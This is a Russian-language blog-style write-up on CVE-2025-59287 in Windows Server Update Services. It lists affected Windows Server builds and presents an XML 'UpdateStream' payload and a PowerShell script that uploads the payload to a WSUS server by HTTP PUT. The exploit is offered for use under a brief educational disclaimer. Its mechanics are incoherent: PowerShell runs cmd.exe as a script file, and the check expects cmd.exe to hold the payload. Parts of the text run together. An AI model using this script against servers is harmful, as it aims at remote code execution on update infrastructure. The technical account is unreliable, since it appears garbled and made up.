
Технический анализ и proof-of-concept эксплойт для CVE-2025-59287, критической RCE-уязвимости в Windows Server Update Services через небезопасную десериализацию, включая затронутые сборки и шаги по смягчению последствий.
CVE-2025-59287 — это критическая RCE-уязвимость в Windows Server Update Services (WSUS), вызванная небезопасной десериализацией недоверенных данных. Она позволяет удалённым злоумышленникам выполнять произвольный код без аутентификации. Рекомендуется срочно установить обновления из-за активной эксплуатации.
CVE‑2025‑59287 – Угроза удалённого выполнения кода в Windows Server Update Services (WSUS)
Автор: Mark Mallia
Windows Server Update Services (WSUS) от Microsoft — это основа управления обновлениями для всех платформ Microsoft Windows Server. Он получает обновления из каталога обновлений Microsoft, проверяет их и распространяет на все серверы в сети. Уязвимость, обозначенная как CVE‑2025‑59287, эксплуатирует небезопасную процедуру десериализации внутри WSUS, которая позволяет злоумышленнику внедрять произвольное XML-содержимое в поток обновлений. Поскольку WSUS обрабатывает полезную нагрузку без проверки пути источника или данных команд, злоумышленник может указать любое имя файла и путь, что приводит к полному удалённому выполнению кода на целевом сервере.
Почему это важно:
| Версия продукта | Затронутые сборки |
|---|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(Если в вашей среде используется другая сборка обновлений, просто скорректируйте диапазон соответствующим образом.)
System.Xml.Linq.XElement.<SourcePath>; это значение записывается на диск как абсолютный путь.<Command> выполняется PowerShell при обработке потока WSUS, что даёт полное удалённое выполнение кода.Ниже представлена XML-полезная нагрузка, которую мы загрузим на уязвимый сервер.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### Пример PowerShell-скрипта эксплойта
Следующий скрипт сгенерирует XML-полезную нагрузку, загрузит её через HTTP PUT в ваш экземпляр WSUS и оставит файл журнала для устранения неполадок.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe на каждом Windows Server, чтобы убедиться, что сборка попадает в указанные выше диапазоны.wsus‑exploit.ps1 на машину, которая может получить доступ к вашему экземпляру WSUS, измените $TargetUrl, если вы используете другой путь или порт.C:\Windows\System32\cmd.exe появился на каждом целевом сервере и содержит ожидаемую полезную нагрузку.Информация и код эксплойта, представленные здесь, предназначены исключительно для образовательных целей. Убедитесь, что у вас есть разрешение на запуск этого теста в вашей собственной среде WSUS, и соблюдайте все применимые рекомендации по безопасности при развёртывании изменений в производственных системах.